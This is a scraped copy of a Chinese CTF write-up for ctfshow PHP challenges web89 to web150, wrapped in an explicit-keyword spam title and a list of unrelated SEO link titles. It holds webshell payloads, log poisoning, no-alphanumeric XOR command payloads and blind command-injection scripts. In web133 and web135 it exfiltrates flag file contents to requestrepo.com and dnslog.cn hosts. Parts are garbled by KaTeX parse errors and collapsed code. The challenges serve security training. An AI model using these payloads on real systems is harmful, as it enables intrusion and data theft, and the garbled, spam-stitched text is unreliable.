中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

高權(quán)重域名做網(wǎng)站百度手游排行榜

高權(quán)重域名做網(wǎng)站,百度手游排行榜,wordpress百家號采集,有關(guān)做化工機械的網(wǎng)站1.web89 intval函數(shù)的利用,intval函數(shù)獲取變量的整數(shù)值,失敗時返回0,空的數(shù)組返回,非空數(shù)組返回1 num[]1 intval ( mixed $var [, int $base 10 ] ) : int Note: 如果 base 是 0,通過檢測 var 的格式來決定使用的進…

1.web89

intval函數(shù)的利用,intval函數(shù)獲取變量的整數(shù)值,失敗時返回0,空的數(shù)組返回,非空數(shù)組返回1
num[]=1

intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
如果字符串以 "0" 開始,使用 8 進制(octal);否則,
將使用 10 進制 (decimal)。

2.web90

intval函數(shù)的利用,怎么進行取整,php強類型比較

intval('4476.0')===4476    小數(shù)點  
intval('+4476.0')===4476   正負號
intval('4476e0')===4476    科學計數(shù)法
intval('0x117c')===4476    16進制
intval('010574')===4476    8進制
intval(' 010574')===4476   8進制+空格

3.web91

利用的正則表達式的多行匹配if(preg_match(/^php/im,KaTeX parse error: Expected '}', got 'EOF' at end of input: …match(/^php/i),a){echo ‘hacker’;}}
第一個開啟了多行匹配

a%0aphp

4.web92

php弱類型比較和intval取整,ph弱類型比較會進行類型轉(zhuǎn)換
只能使用進制繞過了

intval('0x117c')==4476    16進制
intval('010574')==4476    8進制
intval(' 010574')==4476   8進制+空格

5.web93

php弱類型比較和intval取整,過濾了字母
使用8進制

intval('010574')==4476    8進制
intval(' 010574')==4476   8進制+空格

6.web94

php強類型比較和intval取整,過濾了字母和0,if(!strpos($a,‘0’)){die (‘no no’);}
strpos — 查找字符串首次出現(xiàn)的位置,不能使用8進制了,但是可以使用空格+8進制

intval(' 010574')==4476   8進制+空格
intval('4476.0')===4476    小數(shù)點  
intval('+4476.0')===4476   正負號

7.web95

php強類型比較和intval取整,過濾了字母和0還有點

intval(' 010574')==4476   8進制+空格

8.web96

目錄遍歷

./flag.php
/var/www/html/flag.php

9.web97

md5值比較,數(shù)字不相等但是md5值相等,可以用數(shù)組繞過
數(shù)組的md5值為null

a[]=1&a[]=2

10.web98

&引用,表示不同變量名的值指向同一個值,get變量被post變量覆蓋

get:1=1 post:HTTP_FLAG=flag

11.web99

in_arry弱類型比較和rand(min,max)返回min到max之間的一個隨機數(shù)([min,max]),arry_push往數(shù)組末尾添加一個數(shù)
in_array延用了php中的==

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));#true

新加進去的隨機數(shù)字每次都包含1,1存在的幾率是最大的

n=1.php post:content=<?php eval($_POST[1]);?>

12.web100

and與&&的區(qū)別和反射類的使用
&&與and都表示邏輯與,||與or都表示邏輯或
優(yōu)先級&&>and>=,||>or>=

<?php
$a=true and false;  #先賦值給true,后面false被忽略
var_dump($a);  返回true$a=true && false;   #現(xiàn)進行&&操作,之后賦值
var_dump($b);  返回false

反射類

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){echo "hello</br>";
}
}
$a=new ReflectionClass('A');var_dump($a->getConstants());  獲取一組常量
輸出array(1) {["PI"]=>float(3.14)
}var_dump($a->getName());    獲取類名
輸出
string(1) "A"var_dump($a->getStaticProperties()); 獲取靜態(tài)屬性
輸出
array(1) {["flag"]=>string(15) "flag{123123123}"
}var_dump($a->getMethods()); 獲取類中的方法
輸出
array(1) {[0]=>object(ReflectionMethod)#2 (2) {["name"]=>string(5) "hello"["class"]=>string(1) "A"}
}
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/

13.web101

and與&&的區(qū)別和反射類的使用,過濾變多了,命令執(zhí)行不了了,為啥反射類可利用,通過讀取ctfshow.php發(fā)現(xiàn)flag是一個變量名
在這里插入圖片描述

v1=1&v2=echo new ReflectionClass&v3=;

14.web102

bin2hex的使用,call_user_func
call_user_func — 把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用,其余是參數(shù)

<?php
error_reporting(E_ALL);
function increment(&$var)
{$var++;
}$a = 0;
call_user_func('increment', $a);
echo $a."\n";    #0call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n";    #1
?> 

v2必須有數(shù)字

$a='<?=`cat *`;';       //為什么用這個,主要是因為編碼后帶e,或者是編碼后全部是數(shù)字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //這里直接用去掉=的base64
//輸出   5044383959474e6864434171594473
帶e會被當做科學計數(shù)法,而base64去掉等號,不影響解碼
bin2hex把ascii碼轉(zhuǎn)為16進制
php5中is_numeric函數(shù)認識16進制數(shù),而php7這個函數(shù)不識別16進制數(shù),
hex2bin將16進制轉(zhuǎn)換為ascii碼,<?php eval($_POST[1]);?>的16進制編碼為0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后訪問1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
需要隨便填充一些數(shù)字,從第二個字符開始截取的(也就是第三個,是從0開始的)
之后訪問1.php

15.web103

和web102一樣

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post     v1=hex2bin

16.web104

sha1弱比較,出錯了

v2=1
post v1=1

17.web105

變量覆蓋,die可以帶出數(shù)據(jù)
考查的是
變量覆蓋,die可以帶出數(shù)據(jù),輸出一條消息,退出腳本
變量覆蓋是把變量的值當作另一個變量的名

$a='b';
$aa='c';
echo $a;    #b
echo $b;    #c
echo $$a;  #c

分析:
有兩個地方有變量覆蓋,有兩個die函數(shù)輸出,最后一個die函數(shù)要用的話,必須設(shè)置flag,但是設(shè)置flag后就只有進行變量覆蓋了,所以只能用第一個die函數(shù)里的error,需要考慮怎么通過變量覆蓋使變量error和變量flag相等,還需要借助變量suces

當get 方式傳入suces=flag,$key=suces,$value=flag 
foreach($_GET as $key => $value){$$key=$$value;    #變成了$suces=$flag,$suces的值是flag的值}
當post傳入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value;  #變成了$error=$flag,$error的值是flag的值
}
get   suces=flag
post  error=suces

18.web106

sha1弱比較,數(shù)組課繞過

v2[]=1
v1[]=2
或者v1和v2隨便用下面的一個,科學計數(shù)法為0
aaroZmOk     0e76658526655756207688271159624026011393
aaK1STfY     0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m

19.web107

md5弱比較,parse_str
數(shù)組繞過,md5不處理數(shù)組,返回null,v1不輸入業(yè)返回null

parse_str將字符串解析成多個變量$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
v3[]=1
v1=

20.web108

ereg %00截斷, strrev()
strrev() 反轉(zhuǎn)字符串

<?php
echo strrev("Hello world!"); // 輸出 "!dlrow olleH"
?> 

ereg 存在空字符截斷(只會匹配%00前面的字符),這個函數(shù)匹配到為true,沒有匹配到為false,877為0x36d的十進制數(shù)值

c=a%00778

21.web109

原生類利用,異常類和反射類
類可以輸出,就是當類被當作字符串執(zhí)行,會調(diào)用__trosting魔術(shù)方法,這個類要有這個魔術(shù)方法,并且要有返回值才可以輸出,這個值要可控

class a{
public $b;
public function __constrcut($a){$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa

echo new Exception(system(‘echo phpinfo’)())
會先輸出phpinfo,之后在執(zhí)行phpinfo,最后拋出異常,需要執(zhí)行完函數(shù)把函數(shù)的結(jié)果在通過異常進行拋出,執(zhí)行順序為什么時這樣的因為不是這樣的Exception(“system(‘echo phpinfo’)()”),不是當作一個整體進行輸出,需要執(zhí)行完才能把命令執(zhí)行的結(jié)果當作整體進行輸出

v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')

22.web110

FilesystemIterator類利用
getcwd獲取當前目錄,DirectoryIterator遍歷目錄,文件名稱(. … 1.c) FilesystemIterator遍歷目錄名+文件(/1.c),echo new DirectoryIterator(getcwd())只輸出第一個
都是獲取目錄下的文件

v1=FilesystemIterator&v2=getcwd

23.web111

$GLOBALS 超全局變量利用
$GLOBALS —包含全局作用域中可用的全部變量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同變量指向同一值

$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #會輸出$a,$b的值等
v1=ctfshow&v2=GLOBALS

24.web112

偽協(xié)議繞過is_file

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

25.web113

/proc/self/root的用法和偽協(xié)議繞過is_file

/proc/self/root代表根目錄,進行目錄溢出,超過is_file能處理的最大長度就不認為是個文件了
在這里插入圖片描述

compress.zlib://flag.php /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

26.web114

偽協(xié)議繞過is_file

php://filter/resource=/flag

27.web115

trim和is_numeric的繞過

string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
此函數(shù)返回字符串 str 去除首尾空白字符后的結(jié)果。如果不指定第二個參數(shù),trim() 將去除這些字符: 
? " " (ASCII 32 (0x20)),普通空格符。  
? "\t" (ASCII 9 (0x09)),制表符。  
? "\n" (ASCII 10 (0x0A)),換行符。  
? "\r" (ASCII 13 (0x0D)),回車符。  
? "\0" (ASCII 0 (0x00)),空字節(jié)符。  
? "\x0B" (ASCII 11 (0x0B)),垂直制表符。 

如何繞過is_numeric
除了數(shù)字和±.號以外還有 %09 %0a %0b %0c %0d %20
繞過trim和is_numeric
只有%0c

%0c36

28.web123

考查的$_SERVER變量和php變量名的轉(zhuǎn)換 命令執(zhí)行

在php中變量名字是由數(shù)字字母和下劃線組成的,所以不論用post還是get傳入變量名的時候都將空格、[,+、點轉(zhuǎn)換為下劃線,而傳入[之后后面的空格、[,+、點就不會被轉(zhuǎn)為下劃線了

$_SERVER變量

1.cli模式(命令行)下
第一個參數(shù)$_SERVER[‘a(chǎn)rgv’][0]是腳本名,其余的是傳遞給腳本的參數(shù)
2.web網(wǎng)頁模式下
在web頁模式下必須在php.ini開啟register_argc_argv配置項
設(shè)置register_argc_argv = On(默認是Off),重啟服務(wù), S E R V E R [ ‘ a r g v ’ ] 才會有效果這時候的 _SERVER[‘a(chǎn)rgv’]才會有效果 這時候的 S?ERVER[argv]才會有效果這時候的_SERVER[‘a(chǎn)rgv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不適用

對于這題來說就是$a[0]= $_SERVER[‘QUERY_STRING’]

<?php
$a=$_SERVER['argv'];
var_dump($a);
#傳入 a=1+fl0g=flag_give_me
#結(jié)果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

parse_str

parse_str 
(PHP 4, PHP 5, PHP 7)
parse_str — 將字符串解析成多個變量
說明 
void parse_str( string $encoded_string[, array &$result] )
如果 encoded_string 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量并設(shè)置到當前作用域(如果提供了 result 則會設(shè)置到該數(shù)組里 )<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";// 推薦用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
?>
1.
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
2.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
3.
get: $fl0g=flag_give_me;
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

29.web125

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

30.web126

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

31.web127

變量名稱符號轉(zhuǎn)換
在php中變量名字是由數(shù)字字母和下劃線組成的,所以不論用post還是get傳入變量名的時候都將空格、[,+、點轉(zhuǎn)換為下劃線,而傳入[之后后面的空格、[,+、點就不會被轉(zhuǎn)為下劃線了

?ctf show=ilove36d

32.web128

call_user_func 代碼執(zhí)行,gettext和get_defined_vars 和call_user_func
call_user_func

call_user_func 
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用
說明 
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一個參數(shù) callback 是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。 參數(shù) 
callback
將被調(diào)用的回調(diào)函數(shù)(callable)。 
parameter
0個或以上的參數(shù),被傳入回調(diào)函數(shù)。 

gettext

string gettext( string $message) 返回輸入的字符
_()==gettext() 是gettext()的拓展函數(shù),開啟text擴展,_是gettext的別名。需要php擴展目錄下有php_gettext.dllecho gettext("Welcome to My PHP Application");

get_defined_vars()

get_defined_vars — 返回由所有已定義變量所組成的數(shù)組
?f1=_&f2=get_defined_vars

33.web129

目錄穿越和stripos 用法

stripos

stripos 
(PHP 5, PHP 7)
stripos — 查找字符串首次出現(xiàn)的位置(不區(qū)分大小寫)
說明 
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出現(xiàn)的數(shù)字位置。 
與 strpos() 不同,stripos() 不區(qū)分大小寫。 參數(shù) 
haystack
在該字符串中查找。 
needle
注意 needle 可以是一個單字符或者多字符的字符串。 
如果 needle 不是一個字符串,那么它將被轉(zhuǎn)換為整型并被視為字符順序值。 
offset
可選的 offset 參數(shù),從字符此數(shù)量的開始位置進行搜索。如果是負數(shù),就從字符末尾此數(shù)量的字符數(shù)開始統(tǒng)計。 返回值 
返回 needle 存在于 haystack 字符串開始的位置(獨立于偏移量)。同時注意字符串位置起始于 0,而不是 1。 
如果未發(fā)現(xiàn) needle 將返回 FALSE。 
?f=/ctfshow/../../../../var/www/html/flag.php 

34.web130

正則匹配的繞過
1.正則最大回溯次數(shù)繞過
PHP 為了防止正則表達式的拒絕服務(wù)攻擊(reDOS),給 pcre 設(shè)定了一個回溯次數(shù)上限 pcre.backtrack_limit
回溯次數(shù)上限默認是 100 萬。如果回溯次數(shù)超過了 100 萬,preg_match 將不再返回非 1 和 0,而是 false。這樣我們就可以繞過第一個正則表達式了。
python腳本

import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)

2.直接繞過

f=ctfshow

35.web131

正則匹配的繞過

import requests
url=""
data={'f':'very'*250000+'360Dctfshow' } r=requests.post(url,data=data)
print(r.text)

36.web132

短路運算符 &&和||

username=admin&password=aa&code=admin

37.web133

無回顯的shell_exec命令執(zhí)行

get傳參   F=`$F `;sleep 3
經(jīng)過substr($F,0,6)截取后 得到  `$F `;
也就是會執(zhí)行 eval("`$F `;");
我們把原來的$F帶進去
eval("``$F `;sleep 3`");
也就是說最終會執(zhí)行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我們不需要管,但是后面的命令我們可以自由控制。
這樣就在服務(wù)器上成功執(zhí)行了 sleep 3
所以 最后就是一道無回顯的命令執(zhí)行題目了

寫文件試了不行,應(yīng)該是沒權(quán)限
通過curl進行外帶,curl只能帶出一排數(shù)據(jù),可以直接篩選flag進行帶出
利用的平臺是https://requestrepo.com/

F=`$F%20`;curl%20http://1gfmb9cm.requestrepo.com?1=`cat%20f*|grep%20flag`

38.web134

POST數(shù)組的覆蓋

<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);?>
然后我們傳入 _POST[‘a(chǎn)’]=123
會發(fā)現(xiàn)輸出的結(jié)果為array(1) { ["‘a(chǎn)’"]=> string(3) “123” }
也就是說現(xiàn)在的$_POST[‘a(chǎn)’]存在并且值為123
題目中還有個extract($_POST)
extract() 函數(shù)從數(shù)組中將變量導入到當前的符號表,也就是說把鍵名當作變量名,值作為變量的值
這樣的話 $a==123
_POST[key1]=36d&_POST[key2]=36d

39.web135

1.
訪問1.txt即可
F=`$F `;cp flag.php 1.txt 
2.ping外帶
`cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
awk利用NR一排排的帶數(shù)據(jù)

40.web136

考察無回顯的命令執(zhí)行 使用linux中的tee命令

: ls /|tee 1           訪問1下載查看文件1發(fā)現(xiàn)根目錄下有flag
cat /f149_15_h3r3|tee 2     訪問下載查看文件2

41.web137

考查call_user_func調(diào)用類的靜態(tài)方法 ::調(diào)用
call_user_func

<?php
class myclass {static function say_hello(){echo "Hello!\n";}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); 
?>
 ctfshow=ctfshow::getFlag

42.web138

考查call_user_func調(diào)用類的靜態(tài)方法 數(shù)組傳入調(diào)用

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

43.web139

文件盲注
使用盲注的方式,跟sql的時間盲注差不多,這里利用的時linux的shell語法

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):         #知道flag在第四行,實際情況中把數(shù)字寫大一些key=0for j in range(1,15):     #文件名的長度大小if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
得出flag在根目錄下的f149_15_h3r3中,繼續(xù)盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0                      #key我感覺可以不用加
for j in range(1,45):
#	if key==1:
#		break   for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break

awk nr從第幾行開始
在這里插入圖片描述
cut截取字符第幾個字符
在這里插入圖片描述

44.web140

弱類型比較,intval把非零數(shù)字轉(zhuǎn)為0,而后面的ctfshow會進行類型轉(zhuǎn)換,也會轉(zhuǎn)換為0

f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5

45.web141

無字母數(shù)字的命令執(zhí)行
或,異或,取反等運算都可以

v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");

46.web143

無字母數(shù)字的命令執(zhí)行
或,異或等運算都可以

v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*

47.web145

無字母數(shù)字的命令執(zhí)行
或,取反等運算都可以 三目運算符的使用
或,異或,取反命令構(gòu)造腳本

#system('cat f*');
v1=1&v2=0&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):

48.web146

無字母數(shù)字的命令執(zhí)行
或,取反等運算都可以位運算符邏輯運算符的使用

v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|

web141-web146 無字母數(shù)字命令執(zhí)行 或,異或,取反等運算符的使用
+,-,*,/,|,||,==,&,&& 繞過return,可以和函數(shù)一起使用

eval(return 1+phpinfo()+1)
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()||1)

49.web147

create_funciton的用法

if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)

%5c()繞過正則
php里默認命名空間是\,所有原生函數(shù)和類都在這個命名空間中。 普通調(diào)用一個函數(shù),如果直接寫函數(shù)名function_name()調(diào)用,調(diào)用的時候其實相當于寫了一個相對路 徑; 而如果寫\function_name()這樣調(diào)用函數(shù),則其實是寫了一個絕對路徑。 如果你在其他namespace里調(diào)用系統(tǒng)類,就必須寫絕對路徑這種寫 法
create_funciton

create_function('$a','echo $a."123"')
類似于
function f($a) {echo $a."123";
}
GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function

50.web148

無字母數(shù)字命令執(zhí)行
異或運算(中文變量)

1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其實也是利用異或構(gòu)造
"`{{{"^"?<>/"; 異或出來的結(jié)果是 _GET

51.web149

條件競爭

ctf=1.php
show=<?php system('tac /c*';)?>

burp 抓包發(fā)送到intruder 一個不斷發(fā)送上面數(shù)據(jù) 位置不設(shè) payload 設(shè)為null 另一個不斷訪問1.php
在這里插入圖片描述

非預期

ctf=index.php
show=<?php eval($_POST[1]);?>

52.web150

strrpos查找最后出現(xiàn)的位置,沒有為flase
===優(yōu)先級高于&&
extract導入當前符號表,也就是變量覆蓋
$_SERVER [‘QUERY_STRING’] 表示獲取get和post 中的參數(shù)和值
非預期 日志包含

ua <?php eval($_POST[1])?>get  isVIP=TRUE
post  ctf=/var/log/nginx/access.log&1=system('cat f*');

53.web150 plus

__autoload的函數(shù)在不在ctfshow類中
__autoload加載未定義的類,即進行類函數(shù)判斷時會調(diào)用這個函數(shù)
__autoload函數(shù)會執(zhí)行這個變量class
需要先構(gòu)造__CTFSHOW__但是_被過濾了,.可以繞過,構(gòu)造了這個變量
…CTFSHOW…,需要進行傳值,因為原先并沒有,而extract函數(shù)可以覆蓋原先的變量,就變?yōu)榱?CTFSHOW=phpinfo,class變量就是__ctfshow__變量,class的值為phpinfo,最后就會執(zhí)行phpinfo

__autoload — 嘗試加載未定義的類
最后構(gòu)造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析變量成__CTFSHOW__然后進行了變量覆蓋,因為CTFSHOW是類就會使用
__autoload()函數(shù)方法,去加載,因為等于phpinfo就會去加載phpinfo
接下來就去getshell啦

get
..CTFSHOW..=phpinfo
http://www.risenshineclean.com/news/11515.html

相關(guān)文章:

  • 未明潮網(wǎng)站建設(shè)保密協(xié)議baud百度一下
  • 明年做哪些網(wǎng)站能致富免費二級域名注冊申請
  • 專業(yè)做輔助的網(wǎng)站新媒體運營崗位職責
  • 企業(yè)怎么建設(shè)網(wǎng)站萬網(wǎng)官網(wǎng)首頁
  • 建設(shè)部網(wǎng)站八大員查詢app推廣平臺排行榜
  • nodejs做網(wǎng)站容易被攻擊嗎網(wǎng)站外部優(yōu)化的4大重點
  • 網(wǎng)站模板開發(fā)主要作用免費b站推廣網(wǎng)址有哪些
  • 六十歲一級a做爰片免費網(wǎng)站如何推廣網(wǎng)址鏈接
  • 做電影網(wǎng)站的成本拉新任務(wù)接單放單平臺
  • 網(wǎng)站設(shè)計做哪些的青島網(wǎng)站seo服務(wù)
  • 注冊一個公司需要多久如何網(wǎng)站seo
  • 網(wǎng)站運營與管理的內(nèi)容包括網(wǎng)絡(luò)營銷渠道建設(shè)方案
  • 網(wǎng)站怎么創(chuàng)建如何做宣傳推廣營銷
  • WordPress網(wǎng)站被惡意登錄互聯(lián)網(wǎng)搜索引擎有哪些
  • 杭州營銷型網(wǎng)站seo作弊
  • 如何自己制作公司網(wǎng)站一鍵seo提交收錄
  • 廣州花都網(wǎng)站開發(fā)百度網(wǎng)站收錄入口
  • 廣東省公路建設(shè)有限公司網(wǎng)站長春網(wǎng)絡(luò)優(yōu)化最好的公司
  • 網(wǎng)站一般用什么做的媒體營銷平臺
  • 網(wǎng)站優(yōu)化推廣排名seo的關(guān)鍵詞無需
  • 成都市武侯區(qū)建設(shè)局門戶網(wǎng)站自己的品牌怎么做加盟推廣
  • 專門做招商的網(wǎng)站是什么營銷策劃思路
  • php裝修公司網(wǎng)站源碼哪個搜索引擎能搜敏感內(nèi)容
  • 校園二手交易網(wǎng)站開發(fā)背景百度推廣有用嗎
  • 網(wǎng)站項目開發(fā)案seo技術(shù)快速網(wǎng)站排名
  • 支付寶 收費 網(wǎng)站開發(fā)東莞seo
  • 做網(wǎng)站推廣的好處seo外包靠譜
  • 好品質(zhì)高端網(wǎng)站設(shè)計廣州百度快速優(yōu)化排名
  • 化妝品網(wǎng)站欄目設(shè)計推廣策劃方案怎么寫
  • 做網(wǎng)站人網(wǎng)頁設(shè)計制作網(wǎng)站素材